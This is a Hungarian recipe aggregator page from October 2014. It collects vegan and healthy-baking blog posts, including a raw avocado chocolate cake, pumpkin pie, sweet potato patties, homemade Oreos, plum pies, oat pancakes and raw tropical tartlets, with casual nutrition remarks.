Ha ősszel is egészségesen szeretnéd táplálni tested-lelked, fogyaszd ezeket a szuperételeket, mert nincs még egy ilyen hónap, mint az október, amikor ennyi, változatos, színes, szemet gyönyörködtető zöldség-gyümölcs terem, és mind azért, hogy felkészüljünk a hideg, vitaminban, színekben és napsütésben hiányosabb hónapokra. Most töltsük fel szervezetünket vitaminokkal, ásványi anyagokkal és nyomelemekkel, hogy ne az orrfújásról és a köhögésről szóljon a tél. Íme 6, imádnivaló, októberi kedvencem: Alma: A gyümölcsök királynője https://www.facebook.com/StohrGreta/photos/pb.550753304952831.-2207520000.1413877215./912419645452860/?type=1&theater Karfiol: Rákmegelőző hatású, C-vitamin bomba, koleszterincsökkentő hatású. http://gretakonyhaja.postr.hu/currys-csipos-karfiolpuffancsok/ Körte : Kedvenc gyümölcsöm, leginkább nyersen szeretem, vagy zöldtumixba krémesítőként banán helyett, isteni rukkolával, kesudióval, és sütibe is, na meg fűszeres krémlevesekben. Sok rostot tartalmaz, enyhén hashajtó hatású, béltisztító, gazdag C-vitaminban és rézben Kelbimbó: Folsav, Vas, és C vitamin bomba, az ősz királynője, sok sok betegséget segít elkerülni, én a legjobban kókuszolajon, wokban megpirítva szeretem, ahogy a benne lévő cukor megkaramellizálódik. Kitűnő salátát, főzeléket, és köreteket lehet belőle készíteni. Sütőtök: Béta karotin bomba, B vitaminban, potassiumban, és rostokban gazdag https://www.facebook.com/StohrGreta/photos/pb.550753304952831.-2207520000.1413877215./914988318529326/?type=1&theater Pasztinák: Nem sokan ismerik-használják, pedig mennyei krémlevest lehet készíteni belőle póréhagymával, és nagyszerű még burgonyapürével keverve, vagy csak magában köretként a pasztinákpüré fűszeresen.
Isteni feketecseresznyés csokitorta
2014. október 23. Vegan Spirit
Ez a csokitorta, tömény csoki, de nem émelyítő, mégis laktató és egészséges. Ráadásul kedvünkre variálhatjuk, bár az alap recepttel is bárkit elkényeztethetünk. Fényévekkel egészségesebb minden sütött, hőkezelt édességnél, és 20 perc alatt elkészíthető. A turmixgép kelyhét még csak el sem kell öblíteni a műveletek között. Persze a végén azért nem árt elmosni. :)
A képeken az alap (cseresznyekrém nélküli) torta látható, de a fekete cseresznye egy igazán harmonikus kiegészítője az amúgy is a tökéletesség határát súroló tortánknak. Helyettesíthetjük a fekete cseresznyét bármivel , ami szerintünk illik a csokoládéhoz (banán, kókuszkrém, eper...stb), de el is hagyhatjuk. A leírt mennyiségből egy kb 12 szeletes torta jön ki, de az én tapasztalatom szerint kb 16 teljes értékű szelet vágható belőle, mert elég laktató.
Hozzávalók a tortalaphoz:
- 200g natúr mandulabél
- 140g datolya (magozott, aszalatlan)
- 1 csipet só
A cseresznyés krémhez:
- 100g aszalt fekete cseresznye
- 20g datolya (magozott, aszalatlan)
A csokikrémhez:
- 4db nagy, érett avokádó
- 105g kakópor
- 120g datolya (magozott, aszalatlan)
- 5g vanília őrlemény, vagy 2 vaníliarúd kikapart bele
- 1 csipet só
- 1 ek útifű maghéj őrlemény (lehet egész is, ha nics őrlemény) - elhagyható
A mandulát, cseresznyét és az összes datolyát beáztatjuk 4-8 órára. A datolyát és a cseresznyét éppen csak annyi vízben, ami ellepi. Akkor ideális a vízmennyiség, ha nagyjából mindet fel tudják szívni. Érdemes az előre kimért datolya adagokat külön edényben áztatni, mert miután megszívja magát vízzel, megváltozik a súlya. A mandulát egy éjszakára hagyjuk ázni, majd megszabadítjuk a barna hártyaszerű héjtól. Ha nincs időnk beáztatni a dolgokat, az sem gond, ugyan úgy elkészíthető a torta, és a forrázásos technika is működni fog. Én általában 15 másodpercre leforrázom őket, hogy a magok ne hevüljenek át, majd azonnal hidegvízzel hűtöm le a mandulát, és ezt még egyszer megismétlem. Ettől a héj felpuhul, és könnyen ki tudjuk nyomkodni a fehér mandulákat a barna héjból. Ha készen vagyunk a pucolással, tegyük aprító vagy turmixgépbe a mandulát, és daráljuk olyan apróra, amikor már elkezd összetapadni, akkor hozzárakjuk a datolyát és a sót. Ezt általában egy krumplitörővel szoktam összedolgozni, mert így kímélem a turmixgépet, és így is tökéletes lesz az eredmény. Amikor összeállt a massza, akkor belenyomkodjuk a tortaformánk aljába, és egyenletesen elterítjük, lenyomkodjuk, majd hűtőbe rakjuk.
Az aszalt cseresznyét is beáztatjuk egy éjszakára, kevés vízben, hogy könnyebben legyen vele dolgozni. Datolyával együtt turmixgépbe tesszük, és krémesre turmixoljuk. Ha nem tudtuk beáztatni, akkor a turmixolás közben, lassan adagoljunk hozzá vizet, amíg egy sűrű lekvár szerű masszát nem kapunk. Ezt a masszát kenjük egyenletesen, a tortaformában lévő alapra, majd tegyük vissza a hűtőbe.
A csokikrémhez megtisztítjuk, kimagozzuk az avokádókat, majd a többi összetevővel együtt turmixgépbe rakjuk, és krémesre turmixoljuk. Ennek is sűrű krémnek kell lennie. Ha kész, akkor harmadik rétegként elterítjük a tortaformában. Díszítjük ízlésünk, lehetőségeink és kreativitásunk szerint, majd visszatesszük a hűtőbe, legalább 2 órára. Ezután fogyaszthatjuk, ajándékozhatjuk, dicsekedhetünk vele. :)
Váljon egészségetekre, és boldogságotokra ez a remek édesség!
J. K. Valentine
Forró csoki válogatás hideg napokra
2014. október 22. Zizi kalandjai
Gondoltam összegyűjtök nektek néhány szuper receptet (a saját blogomról és mások blogjáról), amelyekkel a hosszú hétvégén – főleg, ha hűvös lesz – kényeztethetjük magunkat. Egyetek jókat, pihenjetek sokat és kényeztessétek, melengessétek magatokat forró italokkal!
Vegán krémes sűrű forró csoki… eltér a hagyományostól, ugyanis az alapját kesudiótej adja. Datolyával és juharsziruppal van édesítve, csokoládé van beleolvasztva és tényleg sűrű lesz a végeredmény. Recept itt!
Sütőtökös latte… mennyei, habos, sütőtökpürével felturbózva! Recept itt!
Vegán forró fűszeres kakaó… csipet fahéjjal és cayenne borssal fűszerezve. Recept itt!
Kedvencek más blogokról:
- Kókusztejes cukormentes forró csoki Chili és Vanília Zsófitól
- Jamie Oliver tuti befutó forró csokoládéja
- Vegán fehér forró csoki (másképp) Csokiországból
- Vegán földimogyoróvajas forró csokoládé az Oh She Glows blogról
- Vegán mentás matcha latte a Healthy Happy Life blogról
- Vegán kókuszos mocha a Healthy Happy Life blogról
- Meleg fűszeres almás répa ital a Green Kitchen Stories blogról
- Forró csoki Fűszer és Lélek Esztertől
- Sűrű forró csokoládé Lila Füge Dórától
- Forró csoki pálcák karamellizált fehér csokiból Praliné Paradicsom Zsuzsitól
- Sűrű forró csokoládé Emiko Davies blogjáról
- Vegán levendulás forró csokoládé Nóri Mindenmentes Konyhájából
- Forró fehér csoki szerecsendióval Vegasztrománia Annától (+ Forralt bor chilivel, gyömbérrel és grapefruittal)
Fűszeres Sütőtök Pite
Ilyenkor októberben mindenhol sárgán világítanak a sütőtökök. A piacon, a zöldségesnél, a kertben… A recept téma adja magát, mindig hangsúlyozom, hogy azokat a zöldségeket, gyümölcsöket fogyasszuk amelyeket a természet kínál nekünk az adott évszakban. A sütőtök nagyon sok B vitamint tartalmaz. Fogyasztása szebbé teszi a bőrünket és magas rosttartalma miatt jelentős béltisztító hatással bír. Alacsony kalória tartalma miatt fogyókúrázók is bátran fogyaszthatják. A sütökökből számtalan recept készíthető, édesség gyanánt az alább pitét ajánlom: Hozzávalók: Tészta: 20 dkg világos tönköly liszt 8 dkg nyírfacukor vagy nádcukor csipet só 1/2 zacskó foszfátmentes sütőpor 15 dkg bio margarin Töltelék: 50 dkg nyers, tisztított sütőtök 2-3 evőkanál méz vagy nyírfacukor, vagy nádcukor 1/2 kávéskanál őrölt fahéj késhegynyi őrölt szerecsendió késhegynyi őrölt kardamon 100 ml kókusztejszín 3 evőkanál kukorica keményítő A tészta hozzávalóit összegyúrjuk és 30 percet pihentetjük. A töltelékhez a sült tököt a kókusztejszínnel, a tetszőleges édessítővel, fűszerekkel, keményítővel, botmixer segítségével krémesre turmixoljuk. Pite formához kinyújtjuk a tésztát kb. 0,7 cm vastagságúra és egy 32 cm átmérőjű, kiolajozott pite formát kibélelülnk a tésztával és 5 percig 180 C fokon elősütjük. Majd beletöltjük a tölteléket és további 20 percig sütjük. Nagyon finom melegen, hidegen, önmagában vagy egy meleg, fűszeres teával.
Ottolenghi vegán édesburgonya fasírtja
2014. október 20. Zizi kalandjai
Mostanában többször lapozgattam receptek és inspiráció miatt Ottolenghi Plenty szakácskönyvét. Sokszor elfeledett szakácskönyvek a polcról lekerülnek és néhány napon át forgatom, mert valami megfog bennük újra. Sok esetben a kényelem játszik szerepet abban, hogy az interneten inspirálódjak, mert gyorsabb és rövidebb idő alatt több információhoz jutok. De néha olyan jól esik megfogni a szakácskönyvek papírjait és elmerengeni egy-egy recepten. Akármilyen gyors is a technika, számomra a könyvek nem mennek ki a divatból.
A minap kaptam egy emailt az angol Amazontól, amelyben ajánlottak 13 vegetáriánus, vegán szakácskönyvet. Szuper jó a lista, amit küldtek, mert nekem a 13-ból 8 meg is van! Amik viszont nem voltak a listában és nagyon szeretném (feltéve, ha Jézuska a könyváruházba is betérne, amikor nekem keres meglepetést karácsonyra): az egyik Ottolenghinek az új könyve a Plenty More, a másik a The Vegetarian Flavor Bible. És tudom, notórius szakácskönyv gyűjtő vagyok, ahogy Kriszti is! Nem hiszem, hogy ezt már ki fogom nőni. Ez így van rendjén, el kell fogadni, hogy ilyen vagyok. Szeretem a szakácskönyveket! És ti?
Az édesburgonya fasírt receptje nagyon egyszerű, minimálisat változtattam rajta. Én adtam hozzá fokhagymát (fokhagyma imádó vagyok, ha eddig nem vettétek észre ), elhagytam a fél teáskanál cukrot és jobban sóztam, valamint ízesítettem szójaszósszal, mint, ahogyan a receptben meg van adva, a vajban sütést pedig lecseréltem kókuszzsírra. A fotózásra kb. 3 percem maradt, mert Ádi is követelte már az ebédjét, meg én is farkaséhes voltam, szóval csak olyan gyorsan összekapott, nem túl szuper képek lettek, de higgyétek el nekem, hogy a fasírt nagyon finom. Mi rizzsel és leveleskel chips-szel ettük. Belerakható szendvicsbe vagy főzelék feltétjeként is el tudom képzelni.
Ottolenghi vegán édesburgonya fasírtja
Hozzávalók kb. 4-6 főre:
- 1000 g édesburgonya, meghámozva, felkockázva
- 100 g tönköly fehérliszt
- 2 szál újhagyma, felszeletelve
- 2 gerezd fokhagyma, felaprítva
- 4 teáskanál szójaszósz
- 2-3 teáskanál só (ízlés szerint)
- 1/2 teáskanál friss aprított chili (opcionális, én Ádi miatt elhagytam)
- kókuszolaj vagy olívaolaj
A felkockázott édesburgonyát tegyük párolóedénybe és pároljuk puhára kb. 15-20 perc alatt. Ezután tegyük szűrőbe kb. 15 percre, hogy a felesleges víz kicsöpögjön belőle.
A lecsöpögtetett édesburgonyát tegyük egy tálba és krumplinyomóval alaposan pépesre nyomkodjuk. Adjuk hozzá az újhagymát, a fokhagymát, a szójaszószt, a sót és a lisztet. Keverjük össze. Ragadós tésztát kell kapnunk (ha esetleg folyós maradt, akkor adjunk még hozzá egy kevés lisztet).
Egy teflon serpenyőben hevítsünk (közepes láng) egy kevés kókuszzsírt és evőkanállal mérjünk egy adagot a tésztából a serpenyőbe. A kanál segítségével lapítsuk le a fasírtot kb. 1 cm vastagra és süssük a fasírtot aranybarnára, majd fordítsuk meg és a másik oldalát is pirítsuk meg. Ismételjük a műveletet, amíg a tészta el nem fogy (kb. 3-4 darabot érdemes sütni egyszerre).
Töltött kölesgolyók
Ez a finomság is a kosárfonásra készült ;) Azt mondják a lányok, ízlett nekik ;) Hozzávalók a kölesgolyóhoz: 2 csésze (2dl) köles 4 csésze forrásvíz 1 bio citrom reszelt héja 2 ek citromlé 50 gr kókuszreszelék (1/2 zacskó) 2 ek vaníliás cukor Vagy 2 kk vanília por 3 ek akácméz (vegánoknak más édesítő) 1 kk […]
Oreo keksz
Itt az OREO őrület! :) Mindenhol találkozunk vele: kínálják a legjobb delikatesz üzletek, írnak róla a legmenőbb újságok és magazinok, az emberek meg arról beszélnek: ki hogy szereti. Én meg azt mondom: minden magára valamit is adó gasztroblogger is felveszi ezt a fonalat! :) Hát még akkor, ha a kihívás lényege: oreo kekszet sütni házilag, tej-, tojás- és adalékanyag-mentesen. Az előkóstolók véleménye: FFFinom! :)
Hozzávalók kb. 20 db kekszhez:
- 120 g durum liszt
- 30 g holland kakaópor
- 80 g nádcukor
- 2 csipet só
- 2 csipet szódabikarbóna
- 1 csomag bourbon vaníliás cukor
- 45 g kókuszolaj
- 4 evőkanál (növényi) tej
- 2 evőkanál növényi szirup (vagy méz)
Krém:
- 55 g porcukor
- fél csomag bourbon vaníliás cukor
- 60 g kókuszolaj
- Egy tálban öntsük össze a tészta száraz hozzávalóit, és keverjük el jó alaposan.
- Közben melegítsük fel a kókuszolajat, keverjük hozzá a tejet és a szirupot, majd dolgozzuk össze a száraz anyagokkal.
- Pihentessük fél órát a hűtőben, közben pedig készítsük el a krémet.
- Olvasszuk fel a kókuszolajat, és keverjük el benne a cukrot. Rövid időre tegyük hűtőbe, hogy visszakeményedhessen.
- A tésztát nyújtsuk ki 2-3 milliméter vastagra, és szaggassuk ki a kekszeket.
- 170 fokos sütőben süssük 10-15 percet. 5 perc elteltével egy csillagformával nyomkodjuk meg a tetejét, így lesz rajzos a keksz.
- Amikor kihűlt, kenjünk két keksz közé egy kávéskanálnyi krémet. Előzőleg állítsuk be úgy a krém hőmérsékletét, hogy össze tudjuk nyomni a kekszekkel.
Jó étvágyat! Elkészítési idő: 45 perc
Egy kattintás, és nem maradsz le a további receptekről:
Töltsd le ITT két ajándék receptfüzetünket a Hírlevél feliratkozás mellé!
Mákhabos szilva pite
2014. október 15. Nyers konyha
Vasárnap Zöldturmix Fesztivál . Ismét tortát fogok készíteni, valami hasonlót, mint ez a mákhabos szilva pite. A szerencsések, meg is kóstolhatják, de akinek nem jut, íme a recept, így otthon könnyedén elkészítheti :) Mákhabos szilva pite : Alap: 1 bögre ( 2,5 dl) mandula beáztatva 1 bögre kókuszreszelék 1 bögre mazsola beáztatva 1-2 órára 2 citrom reszelt héja 1 mokkás kanál fahéj késhegynyi vanília S késes robotgéppel morzsásra daraboljuk a mandulát, hozzákeverjük a kókuszt a többi hozzávalóval, majd a végén a beáztatott mazsolát is jól összedaraboltatjuk gépünkkel, amíg a masszánk szépen össze áll. Ezt nagy csatos formába öntjük, lenyomkodjuk, kanállal elsimítjuk a felületét. Mákhab: 3 kicsi avokádó 2 banán 1 bögre beáztatott mazsola 1 bögre mák fél citrom leve 2 citrom reszelt héja 1 evőkanál útifű maghéj S késes gépünkbe dobjuk a banánokat az avokádókkal, eldolgozzuk, majd hozzáadjuk a mazsolát a többi összetevővel együtt a mákot a végére hagyva. Addig aprítjuk, keverjük amíg sima krémet kapunk. Beleöntjük a csatos formánkba, és elsimítjuk a tetejét. Negyedelt szilvával, vagy amilyen gyümölcs megtalálható kézközelben, azzal díszítjük. Fügével is elkészítettem ezt a tortát...
Reform szilvás lepény
2014. október 13. Lét-tudatos konyha
Hozzávalók: - 50 dkg fehér tönkölybúzaliszt - 1 csipet só - 1 kávéskanál szódabikarbóna - 15 dkg kókuszzsír - 15 dkg nádcukor - 1/2 citrom reszelt héja - 1,2-1,5 dl víz A formához: 1 teáskanál kókuszzsír és 1 teáskanál liszt Töltelék: - 2 evőkanál darált dió - 30 dkg szilva - 1 evőkanál őrölt fahéj - 2 evőkanál nádcukor Elkészítése: A lisztet elkeverjük a sóval, szódabikarbónával, citromhéjjal és a cukorral, majd elmorzsoljuk a kókuszzsírral. Hozzáadjuk a vizet és összegyúrjuk. Egy 25 cm átmérőjű gyümölcstorta formát kikenünk és kilisztezünk. A tésztából egy kis gombócnyi mennyiséget lecsípünk és a többit belesimítjuk a formába. A tetejét megszórjuk dióval. A kimagozott szilvát apró darabokra vágjuk, és egyenletesen eloszlatjuk a tésztán. A tetejét megszórjuk a fahéjas cukorral. A maradék tésztát kör alakúra nyújtjuk, fél cm csíkokra vágjuk és berácsozzuk vele a formában lévő tésztát. 200 fokon kb. 1 óráig sütjük.
Aszalt alma kekszek
2014. október 10. Szelíd életmódváltók
Almaszezon van, mikor máskor, ha nem most!
Az almakekszek története egyszerű – almalevet préseltünk és sok-sok almapép maradt. Ehhez hozzátartozik, hogy rendes voltam és előtte megpucoltam és kimagoztam az almát.
Hozzávalók:
almapüré vagy almapép
fahéj
citromlé
kókuszreszelék
finomabb, apróbb zabpehely
méz vagy más édesítőszer
Elkészítés: az összes hozzávalót összekeverni az almapéppel és először golyókat formálni, majd összenyomni. Így kevesebb lesz az aszalási idő. Aztán jön az aszalás – aszalógépben, kanállal kitámasztott sütőben, kandallópárkányon, ki hol.
Szeretettel és akcentussal,
Rita Bakradze
(function(d, s, id) {
var js, fjs = d.getElementsByTagName(s)[0];
if (d.getElementById(id)) return;
js = d.createElement(s); js.id = id;
js.src = //connect.facebook.net/hu_HU/all.js#xfbml=1;
fjs.parentNode.insertBefore(js, fjs);
}(document, script, facebook-jssdk));
Palacsinta kicsit másként: túrós kakaós zabpalacsinta
Ki ne szeretné a palacsintát? Főleg a túrósat? Én is egy rajongó vagyok, ha arról van szó, hogy enni kell. Amióta azonban megkóstoltam ezt az egészségesebb verziót, csakis ezt készítem, ha túrós palacsintára fáj a fogunk. Ez a palacsinta Isteni finom! :-) A hagyományos palacsinta is idő igényes, és ez ezzel a reform palcsintával sincs másként. Viszont sokkal kevesebb mennyiséggel is jól lehet lakni, látványos (színeiben hasonlít a túrórudihoz), nem szennyezzük a testünket vele, úgy, mint a hagyományos palacsintákkal, könnyebben emészthető a magas rosttartalmának köszönhetően (zab), és irtó finom! ;-) túrós kakaós zabpalacsinta A zab, az egyik leghasznosabb tápanyagtartalommal bír a gabonák közül, megfizethető áron van, és lassú felszvódása miatt a zabból készült ételek sokkal hosszabb ideig okoznak jóllakottság érzést, mint az egyéb gabonák pl.: búza. Magyarországon nem éppen elterjedt gabona fajta manapság, de nem volt ez mindíg így. A régebbi korokban előszeretettel fogyasztották pl.: a zabkását, amit a szegények ételének tartottak. Olcsó volt, rengeteg energiát adott, és sokáig laktató, így jól bírták az egész napos fizikai munkát is vele a földeken, vagy akár a harc téren. A zab magas fehérjetartalommal, gyomorbarát gyulladásgátló anyagokkal, magas B és E vitaminnal bír. Gazdag vas, kálium, kálcium, magnézium és foszfor forrás. Rendszeres fogyasztása igen jó hatással van az egészségünk megőrzésére, mivel javíthatja az emésztést, a csontok illetve az erek általános állapotát. Itt Írországban, és talán már más országban is újra előtérbe kerül ez az értékes gabona, és újra egyre többen fogyasztják jótékony hatásai miatt. Mi is köztük vagyunk! :-) Hozzávalók: (kb.2 főnek) A tésztához: - 150 g teljes kiőrlésű, nagy szemű zabpehely - 1 dl növényi tej (mandula, vagy mogyoró, vagy kókusz) - 3,5 dl víz - 20 g keserű, sovány kakaópor, vagy karob por - 2 ek Agave szirup (vagy Xilit, vagy Demerara cukor) - csipet Himalája só - késhegynyi szódabikarbóna A túrókrémhez: - 250 g sovány túró - 1/2 citrom leve - 1/2 citrom reszelt héja (lehetőleg vegyszermentes) - tetszőleges édesítőszer ízlés szerinti mennyisége - vanília kikapart magja (vagy Vanília extract, kivonat) - 1/2 dl növényi tej (mandula, vagy mogyoró, vagy kókusz) Elkészítés: A tészta hozzávalóit keverjük össze, majd hagyjuk állni, hogy a zabpehely kellően átázhasson. Ez minimum 30 perc, de ha úgy tetszik, egy éjszakára is beáztathatjuk (ez esetben tegyük hűtőbe). Mindezek után kézi mixerrel vagy turmixgéppel pépesítjük. Felforrósított teflon serpenyőben sütjük. A sikeres sütés titka, hogy egy kissé előcsalogassuk magunkból a tűzhely DJ-t, és bőszen csavargassuk a gombokat. A serpenyő legyen tűzforró, amikor beleöntjük a tésztát, és szétterítjük. Azonban a zabpalacsinta nem szeret nagy lángon sülni, így amikor folyamatban van a sütés, vegyük alacsonyabbra a hőfokot. Az egyik oldalának 3-4-szer annyi idő kell, mint a másiknak megfordítás után. (Vigyázat, amíg nem sül meg az egyik oldala, nehezen forgatható, könnyen törik,ha ezt észleljük, legyünk türelemmel, várjunk még egy keveset!) Végül tányérra csúsztatjuk. (Ha hibátlan a teflonbevonat a serpenyőn, nem szükséges zsiradékot használni, Ha mégis, akkor használj kókuszzsírt!) A túrókrém elkészítéséhez a hozzávalókat keverjük össze, és hűtsük le. És ezzel a krém el is készült. :-) (Én kézi botmixerrel ezt is krémes állagúvá varázsoltam.) Az elkészült és kihűlt palacsintákat többféle formában tálalhatjuk. Az eredeti recept szerint kenjük meg a krémmel a palacsintákat, és göngyöljük fel a hagyományos módon. Így lesz belőle túrórudi palacsinta. ( http://fittipaldii.blogspot.ie/2013/10/turo-rudi-zabpalacsinta.html) Túrórudi zabpalacsinta a kép erről a webhelyről származik: http://fittipaldii.blogspot.ie/2013/10/turo-rudi-zabpalacsinta.htmlÉn inkább palacsinta tortát készítettem belőle, és egymásra pakoltam a palacsintákat, köztük a krémmel. túrós kakaós zabpalacsinta torta Előfordult, hogy egy karácsonyi vacsora alkalmával mutatós kis tornyokat építettem belőlük. Na ez tényleg nagyon időigényes, de jól néz ki! :-) Virág formájú linzer szaggatókkal kiszaggattam a készre sült palacsintát. Nagy virág alulra, és egyre kisebb virág rá, majd még kisebb a tetejére. Közé pedig mehet a túrós krém. Karácsonykor egy kicsit a havas fenyőfákra emlékeztetnek a formák...talán... Bár jó képzelő erő kell hozzá! :-D túrós kakaós zabpalacsinta téli hangulató formában Megjegyzés1: Ha kedvünk úgy tartja, vonjuk be étcsokoládé-krémmel. 10 g zsírszegény kakaópor / karob por, pár ek. víz (mondjuk 5-6), tetszőleges édesítőszer, 1 teáskanál kókuszzsír. A fenti összetevők alacsony lángon összeforralandók, sűrűsödésig. Langyosan a palacsintákra kenjük. Dermedésig tartsuk hűtőben. Megjegyzés2: Az eredeti recept Fittipaldi gasztro blogger oldalról származik. Megjegyzés3: Ha valaki nagy kókusz rajongó, érdemes lenne kipróbálni kókuszreszelékkel a krémet, és a tejek helyett is konzerves kókusz tejet tenni bele.
Vitamingolyók
Ma van az első helyi piacunk itt a pici falunkban, erre az alkalomra készítettem ezt a néhány finom, nyers édességet ? ? ? Hozzávalók: 2 db reszelt alma 1 maréknyi zabnyák 2 ek zabpehely 1 ek darált lenmag 1 kk vanília 2 tk kókuszvirág cukor 1 tk friss reszelt gyömbér 2 kk fahéj 1 tk […]
Egzotikus, trópusi kosárkák: nyers, vegán, minden mentes édesség
2014. szeptember 26. Zöld Avocado
Mostanában kevés édességet kívánunk, de ha készítek valamit, az elég gyakran nyers, természetes alapanyagokból: gyümölcsökből és dió félékből készül, azaz "élő édesség". Magyarországon, és az egész világon is egyre népszerűbbek az élő ételek, a nyers étkek, a Raw food-ok. Egyre több követője van ennek a táplálkozási formának, ami lényegében azt jelenti, hogy minden, amit esznek, az hőkezelés mentes, feldolgozatlan, naturális. Úgy vélik, hogy a gyümölcsök, zölségek, diófélék, csírák, magok stb., azaz a természetes táplálékok 40 Celsius fok felett elveszítik értékes tápértékük nagy részét. Vannak hőérzékeny vitaminok, ásványi anyagok, melyek 40°C fok felett elpusztulnak. Így minden amit ezek a nyers étkezők fogyasztanak, az "élő", és a maximum a 40°C fok alatti aszalás technológiáját alkalmazzák ételeik elkésztése során. Akit érdekel a téma bővebben is, az keressen rá a neten Lénárt Gitta nevére, aki az egyik legnépszerűbb szószólója a nyers étkezők táborának ma Magyarországon. sütésnélküli kókuszos kosárkák Imádom az egzotikus, trópusi gyümölcsöket, és mindent, ami belőlük készül. :-) Ezúttal egy egyszerűen elkészíthető, de kicsit időigényes édességet hoztam nektek. Nem sikerült épp a legszebben, de azért megosztom veletek, mert az íze jó, a külalakon meg még lehet dolgozni. ;-) Viszont annyira finom, és nem lehet abbahagyni az evését, hogy nem akartalak megfosztani titeket az élménytől. A képekben most ne gyönyörködjetek. Inkább készítsétek el ti is, és faljátok a kis mangós, kókuszos, passiógyümölcsös egzotikus kosárkákat. ;-) Akinek pedig szebb külalakban sikerül megörökítenie őket, az küldje el nekem a képeket, én pedig megosztom őket. :-) MANGÓS, KÓKUSZOS, ÉS PASSIÓGYÜMÖLCSÖS KOSÁRKÁK, avagy Mangó mámor és a két egzotikus barátnője HOZZÁVALÓK: kb.36 db kosárkához 200 g darált dió, kesu dió, mandula keveréke (többségben legyen benne a dió)120 g magozott datolya, és aszalt szilva (kb. 75% : 25% arányban, azaz kb.90 g datolya és 30 g szilva. De az arány változhat, attól függően mi van otton. ;-) )2 ek kókuszzsír(2 ek chia mag)2 ek víz1 zöld lime kb. 36 adagnyi, 3 féle töltelékhez: mangós: 1 banán + 1 érett mangó + 1/4 zöld lime (+1 tk útifűmaghéj)kókuszos: 1 banán + 1 dl kókusz tejszín (konzerves) + 2 dl kókusz reszelék + 1/4 zöld limepassiógyümölcsös: 1 banán + 1 dl kókusz tejszín (kenzerves) + 2 db passiógyümölcs + 1/4 zöld lime leve (+1 tk útifűmaghéj) Természetesen a töltelékek/krémek más gyümölcsökkel is elkészülhetnek. Minden, ami kevésbé lédús jöhet. El tudom képzelni pl.: áfonyával vagy meggyel is. egzotikus kosárkák sütés nélkül ELKÉSZÍTÉS: A töltelékekhez a hozzávalókat a turmix gépbe tesszük, és krémet készítünk belőlük. Külön turmixoljuk a mangós, külön a kókuszos, és külön a passiógyümölcsös tölteléket. (A passió gyümölcsösbe ajánlatos a gyümölcsöt nem a turmix géppel belekevereni, hanem utólag kanállal, és akkor nem turmixolja szét a magokat a gép. Gusztusosabb marad.) A 3 külön tálba kiszedett 3 krémet betesszük a hűtőbe. Közben elkészítjük a kosárkákat. A dió, kesu, mandula keveréket porrá őröljük a darálón. A szilvát, datolyát, vizet és zöld lime-ot (hámozás után az egészet) a két késes darálóba tesszük, és lekvárt készítünk belőle. A gép nem fogja szeretni, mert ráragad a késre a lekvár, ezért lassú fokozaton, és szakaszosan, időnként felrázva végezzük a krémesítést. Ha szükséges kevés vizet tehetünk hozzá. A lekvárt és a diós lisztet a chia maggal egyneművé dolgozzuk. Ezt legjobb kézzel végezni. Betesszük a hűtőbe egy fél órára állni a barna tésztát. Miután letelt a fél óra, kivesszük a kosár alapanyagot a hűtőből, és jön a formázás. Több lehetőségünk van. Ha rendelkezünk szilikonos muffin formával a legegyszerűbb, abba nyomkodni kézzel a tésztát, kis kosárkákat formálva. Ha nincs ilyen formánk, akkor elővesszük az alumínium muffin sütőt, meg a muffin papírokat hozzá. Két nagy sütőpapír között laposra nyújtjuk a tésztát. Maximum vastagság, mint egy linzer vastagsága. Tipp: nincs szükségünk sem gyúródeszkára, sem arra, hogy mindent összelisztezzünk, amikor nyújtjuk a tésztát. Tegyük a tésztát két sütőpapír közé, és sem lisztre nem lesz szükségünk, sem a sodrófát nem kell elmosni utána. :-) Egy virág alakú nagy méretű linzer szaggatóval virágokat szaggatunk a tésztából, amiket a muffin papírral bélelt muffin sütőbe ejtünk. Lehetőleg középre ejtsük, hogy a kosárnak a szélei körben meglegyenek, hogy meg tudják majd tartani a tölteléket. Ezt folytatjuk, míg el nem fogy a tészta alapanyag. Ez egy 36 db-os recept, azaz, ha hagyományos muffin sütőnk van, akkor kb.12 db után bajban leszünk, mert megtelik a sütő formánk. Nem gond! ;-) A muffin papírokat egy magasabb falú tálba tesszük, és úgy töltjük meg a tészta kosárkákkal, hogy kicsit összenyomjuk őket, hogy tartsák egymást. Lehet, hogy nem lesznek túl szépek, és szabályosak, mint a sütő formában, de ha finom, kit érdekel, mennyire aszimmetrikus?! ;-) Miután 1-1 tepsi (12 darabos kör) elkészült, érdemes betenni a fagyasztóba őket, hogy a tésztában található kókuszzsír elkezdjen megdermedni, ezáltal tartást adni a kosárkának. Tehát míg az első 12-es kör a fagyiban fázik, addig elkészítjük a következő 12-est. És így tovább... Kb.10 perc fagyasztás után meg lehet tölteni a kosárkákat a hűtőben található töltelékekkel: mangós, kókuszos és passiógyümölcsös. Miután megtöltöttük őket, irány vissza a hűtőbe, és fogyasztásig ott is maradnak! :-) virágok a muffin sütő formábannyers mangó krém muffin tölteléknekMivel ez egy nyers édesség, ezért a hűtés fontos! Ilyenkor tudnak jól összeállni az alkotó elemek: sűrűsödni a krém, dermedni a kosárka. A legjobb, ha csak másnap eszünk belőle, amit persze nehéz kivárni. :-) Ha van otthon aszaló gépünk, akkor a kosárkákat meg is aszalhatjuk, hogy tuti masszívan álljanak, és biztosan finomabb is a ropogós kosarakkal. A jövőben remélhetőleg lesz majd alkalmam ezt is kipróbálni, de ahhoz előbb kell majd egy aszalógép, na meg persze ahhoz kell, egy nagyobb konyha is! ;-) Balázs nem édes szájú, de ezekkel az trópusi ízekkel nagy mosolyt csaltam az arcára, és nem tudta abbahagyni a nassolást. Annak ellenére sem, hogy nem lettek szépek a kosárkák, mert nem voltak elég masszívak. egzotikus, trópusi kosárkák sütés nélkül Megjegyzés: Legközelebb vagy több diót teszek a tésztába, vagy nem kosarakat formázok, hanem kis üveg tálkákba teszem őket, és kanalas desszert lesz belőle. A kókuszos krém a kókusz reszeléktől kemény lett, de a mangós és passiógyümölcsös krém krém szerű maradt, amit nem bánok, mert fincsi krémes, viszont a nem merev falú kosárkák fala dőlésnek indult a krém terhe alatt. :-D Így a legjobb a muffin papírból enni őket. Hát igen. Nem vagyok profi. Még kísérletezgetnem kell. Még ha nem is szép, azért nagyon finom lett, és bűntudat nélkül lehet nassolni, mert sem fehér lisztet, sem cukrot, sem semmilyen mesterséges adalékanyagot nem tartalmaz. Csak amit a természet nekünk adott! ;-) nyers kókusz kosárkák
Nyers kókuszos-szőlős krémes sütemény
